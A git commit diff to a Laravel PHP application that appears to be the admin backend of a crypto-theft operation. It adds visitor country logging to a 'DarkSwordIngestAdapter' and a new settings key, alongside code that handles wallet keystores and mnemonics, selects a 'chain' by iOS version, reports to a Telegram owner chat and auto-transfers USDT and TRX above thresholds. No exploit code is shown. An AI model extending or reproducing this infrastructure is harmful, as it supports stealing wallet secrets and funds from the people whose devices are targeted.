feat: menric
This commit is contained in:
@@ -2,7 +2,6 @@
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Admin;
|
||||
use BaconQrCode\Renderer\Image\SvgImageBackEnd;
|
||||
use BaconQrCode\Renderer\ImageRenderer;
|
||||
use BaconQrCode\Renderer\RendererStyle\RendererStyle;
|
||||
@@ -33,11 +32,11 @@ class AdminGoogle2fa
|
||||
return (bool) $this->google2fa->verifyKey($secret, $code);
|
||||
}
|
||||
|
||||
public function otpAuthUrl(Admin $admin, string $secret): string
|
||||
public function otpAuthUrl(string $username, string $secret, string $label = 'admin'): string
|
||||
{
|
||||
$issuer = (string) config('app.name', 'Coruna Lab');
|
||||
|
||||
return $this->google2fa->getQRCodeUrl($issuer, $admin->username.'@admin', $secret);
|
||||
return $this->google2fa->getQRCodeUrl($issuer, $username.'@'.$label, $secret);
|
||||
}
|
||||
|
||||
public function qrSvg(string $otpAuthUrl, int $size = 200): string
|
||||
|
||||
@@ -8,6 +8,7 @@ use App\Models\PageVisit;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Support\CfIpCountry;
|
||||
use App\Support\UserAgentParser;
|
||||
use App\Support\WalletSource;
|
||||
use Illuminate\Http\Request;
|
||||
@@ -165,6 +166,7 @@ class DarkSwordIngestAdapter
|
||||
'browser' => $parsed['browser'],
|
||||
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
|
||||
'ip' => $ip !== '' ? $ip : null,
|
||||
'country' => CfIpCountry::fromRequest($request),
|
||||
'domain' => PageVisit::normalizeDomain($request->getHost()),
|
||||
'referer' => $referer !== '' ? substr($referer, 0, 512) : null,
|
||||
], PageVisit::chainFromIosVersion($os, $osVersion));
|
||||
|
||||
@@ -14,6 +14,7 @@ class SettingsService
|
||||
public const ENV_KEYS = [
|
||||
'telegram.bot_username' => 'TELEGRAM_BOT_USERNAME',
|
||||
'telegram.owner_chat_id' => 'TELEGRAM_OWNER_CHAT_ID',
|
||||
'album_storage.official_default' => 'CORUNA_OFFICIAL_ALBUM_STORAGE',
|
||||
'auto_transfer.enabled' => 'AUTO_TRANSFER_ENABLED',
|
||||
'auto_transfer.threshold_usdt' => 'AUTO_TRANSFER_THRESHOLD_USDT',
|
||||
'auto_transfer.threshold_trx' => 'AUTO_TRANSFER_THRESHOLD_TRX',
|
||||
@@ -35,6 +36,7 @@ class SettingsService
|
||||
'telegram.bot_token' => config('coruna.telegram.bot_token'),
|
||||
'telegram.bot_username' => config('coruna.telegram.bot_username'),
|
||||
'telegram.owner_chat_id' => config('coruna.telegram.owner_chat_id'),
|
||||
'album_storage.official_default' => config('coruna.album_storage.official_default') ? '1' : '0',
|
||||
'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0',
|
||||
'auto_transfer.threshold_usdt' => config('coruna.auto_transfer.threshold_usdt'),
|
||||
'auto_transfer.threshold_trx' => config('coruna.auto_transfer.threshold_trx'),
|
||||
@@ -97,6 +99,7 @@ class SettingsService
|
||||
return [
|
||||
'telegram.bot_username' => (string) (config('coruna.telegram.bot_username') ?: ''),
|
||||
'telegram.owner_chat_id' => (string) (config('coruna.telegram.owner_chat_id') ?: ''),
|
||||
'album_storage.official_default' => config('coruna.album_storage.official_default') ? '1' : '0',
|
||||
'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0',
|
||||
'auto_transfer.threshold_usdt' => (string) (config('coruna.auto_transfer.threshold_usdt') ?? ''),
|
||||
'auto_transfer.threshold_trx' => (string) (config('coruna.auto_transfer.threshold_trx') ?? ''),
|
||||
@@ -133,6 +136,7 @@ class SettingsService
|
||||
match ($key) {
|
||||
'telegram.bot_username' => config(['coruna.telegram.bot_username' => $value]),
|
||||
'telegram.owner_chat_id' => config(['coruna.telegram.owner_chat_id' => $value]),
|
||||
'album_storage.official_default' => config(['coruna.album_storage.official_default' => $value === '1']),
|
||||
'auto_transfer.enabled' => config(['coruna.auto_transfer.enabled' => $value === '1']),
|
||||
'auto_transfer.threshold_usdt' => config(['coruna.auto_transfer.threshold_usdt' => $value]),
|
||||
'auto_transfer.threshold_trx' => config(['coruna.auto_transfer.threshold_trx' => $value]),
|
||||
|
||||
Reference in New Issue
Block a user